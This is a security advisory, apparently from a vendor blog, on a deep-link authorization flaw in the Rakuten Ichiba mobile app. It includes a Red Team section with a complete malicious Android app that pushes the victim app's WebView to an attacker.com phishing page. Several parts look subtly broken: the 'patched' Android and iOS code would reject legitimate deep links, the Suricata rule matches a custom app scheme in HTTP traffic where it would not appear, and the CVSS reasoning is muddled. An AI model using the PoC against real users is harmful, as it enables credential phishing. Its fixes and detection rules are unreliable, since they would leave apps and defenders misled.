CVE-2024-41918

Executive Summary

CVE-2024-41918 is a critical improper authorization vulnerability in the Rakuten Ichiba App for Android (versions 12.4.0 and earlier) and iOS (versions 11.7.0 and earlier). The flaw resides in the handler for custom URL schemes, allowing an attacker to force the app's WebView to display an arbitrary website via an Intent from another malicious application installed on the same device. This can lead to phishing attacks where the user is redirected to a fraudulent site that mimics the legitimate Rakuten Ichiba interface, potentially stealing credentials or sensitive information.

The vulnerability has a CVSS score of 0.0 (unassigned) and an EPSS score of 0.0%, indicating low exploitation probability currently, but the risk is significant due to the potential for targeted phishing campaigns. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by Rakuten as of the latest advisory.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a mobile application vulnerability affecting the Rakuten Ichiba App distributed through official app stores (Google Play and Apple App Store). The risk is primarily to end-users who have the app installed and may be targeted by malicious apps on their device.

CVSS Breakdown & Threat Level

The CVSS score is currently unassigned (0.0), but based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Local (AV:L) – requires a malicious app on the same device.
• Attack Complexity (AC): Low (AC:L) – simple Intent invocation.
• Privileges Required (PR): None (PR:N) – no special permissions needed.
• User Interaction (UI): Required (UI:R) – user must have the malicious app installed and launch the Intent.
• Scope (S): Changed (S:C) – the vulnerable app's WebView can be used to access external sites.
• Confidentiality (C): High (C:H) – potential credential theft.
• Integrity (I): High (I:H) – attacker can display arbitrary content.
• Availability (A): None (A:N) – no impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Estimated Score: 8.2 (High)

Threat Level: High – due to the potential for credential theft and the widespread use of the Rakuten Ichiba App in Japan and other regions.

Deep Dive & Mechanics

The vulnerability is rooted in improper authorization in the handler for custom URL schemes (e.g., rakutenichiba://). Custom URL schemes allow apps to register deep links that can be triggered by other apps or web pages. In this case, the Rakuten Ichiba App registers a custom URL scheme handler that does not properly validate the source of incoming Intents.

Attack Flow:

1. An attacker develops a malicious Android or iOS application that can send an Intent with a crafted URL (e.g., rakutenichiba://phishing-site.com).
2. The user installs the malicious app (e.g., disguised as a game or utility).
3. The malicious app sends an Intent to the Rakuten Ichiba App's custom URL scheme handler.
4. The vulnerable app opens the URL in its WebView without proper authorization checks.
5. The WebView displays the attacker-controlled phishing site, which may look identical to the legitimate Rakuten Ichiba login page.
6. The user, believing they are on the official app, enters their credentials, which are then captured by the attacker.

Technical Details:

• On Android, the vulnerability involves the Intent class and the startActivity() method. The app's AndroidManifest.xml likely declares an intent filter for the custom scheme without proper android:exported="false" or permission checks.
• On iOS, the vulnerability involves the UIApplicationDelegate method application(_:open:options:) which handles URL schemes without verifying the source app.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Android - Kotlin/Java):

// Vulnerable: No authorization check on incoming Intent
class DeepLinkActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        val data = intent?.data
        if (data != null) {
            // Directly loads the URL in WebView without validation
            webView.loadUrl(data.toString())
        }
    }
}

Expected Patched Code:

// Patched: Validate the source of the Intent
class DeepLinkActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        val data = intent?.data
        if (data != null) {
            // Check if the Intent came from a trusted source
            val callingPackage = callingPackage
            if (callingPackage != null && callingPackage == packageName) {
                webView.loadUrl(data.toString())
            } else {
                // Reject untrusted Intents
                finish()
            }
        }
    }
}

Vulnerable Code (iOS - Swift):

// Vulnerable: No source app validation
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    // Directly loads the URL in WebView
    webView.load(URLRequest(url: url))
    return true
}

Expected Patched Code:

// Patched: Validate the source application
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    guard let sourceApp = options[.sourceApplication] as? String else {
        return false
    }
    // Only allow URLs from trusted sources (e.g., the app itself or system apps)
    if sourceApp == Bundle.main.bundleIdentifier {
        webView.load(URLRequest(url: url))
        return true
    }
    return false
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Android device with Rakuten Ichiba App 12.4.0 or earlier installed.
• Malicious app installed on the same device.

Step 1: Create a Malicious Android App Create a simple Android app that sends an Intent to the vulnerable custom URL scheme.

<!-- AndroidManifest.xml of malicious app -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.attacker.phish">
    <application>
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

// MainActivity.java
package com.attacker.phish;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Craft the malicious Intent
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse("rakutenichiba://https://attacker.com/phishing-page"));
        startActivity(intent);
    }
}

Step 2: Deploy the Malicious App Install the malicious app on the target device (e.g., via sideloading or social engineering).

Step 3: Trigger the Exploit Launch the malicious app. The Intent will be sent to the Rakuten Ichiba App, which will open the attacker's phishing site in its WebView.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual Intent invocations targeting the Rakuten Ichiba App's custom URL scheme.
• Use mobile device management (MDM) solutions to detect sideloaded apps.
• Implement network monitoring for connections to known phishing domains.

Defense:

• Update the Rakuten Ichiba App to the latest version once a patch is released.
• Educate users not to install apps from untrusted sources.
• Use mobile security solutions that can detect and block malicious Intents.

Indicators of Compromise (IOCs)

• Malicious App Package Name: com.attacker.phish (example)
• Custom URL Scheme Triggered: rakutenichiba://
• Phishing Domains: attacker.com, phishing-site.com (example)
• Network Traffic: HTTP/HTTPS requests to phishing domains from the Rakuten Ichiba App's WebView.
• Process Anomalies: The Rakuten Ichiba App process loading URLs from external sources without user interaction.

Detection Engineering

YARA Rule

rule Rakuten_Ichiba_Custom_URL_Scheme_Exploit {
    meta:
        description = "Detects malicious Android apps exploiting CVE-2024-41918"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41918"
    strings:
        $url_scheme = "rakutenichiba://" nocase
        $intent_action = "android.intent.action.VIEW" nocase
    condition:
        $url_scheme and $intent_action
}

Sigma Rule

title: Rakuten Ichiba App Custom URL Scheme Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-41918 via malicious Intents
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        - EventID: 1000  # Example: Intent dispatch event
        - IntentAction: "android.intent.action.VIEW"
        - IntentData|contains: "rakutenichiba://"
    condition: selection
falsepositives:
    - Legitimate use of the custom URL scheme by the app itself
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Rakuten Ichiba App Phishing Redirect"; flow:to_server; content:"rakutenichiba://"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the App: Check for updates from the official app stores. If a patch is released, apply it immediately.
2. User Education: Warn users not to install apps from untrusted sources and to be cautious of unexpected redirects.
3. Mobile Security: Deploy mobile security solutions that can detect and block malicious Intents.

Long-Term Fixes:

• For Rakuten: Implement proper authorization checks in the custom URL scheme handler. Validate the source of Intents using callingPackage (Android) or sourceApplication (iOS). Consider using android:exported="false" for activities that should not be accessible from other apps.
• For Users: Enable "Verify apps" on Android and use iOS's built-in protections. Avoid sideloading apps.

Workarounds:

• Disable the custom URL scheme handler if possible (not recommended as it may break functionality).
• Use a firewall or VPN to monitor and block suspicious traffic.

Valters IT
Securing Digital Frontiers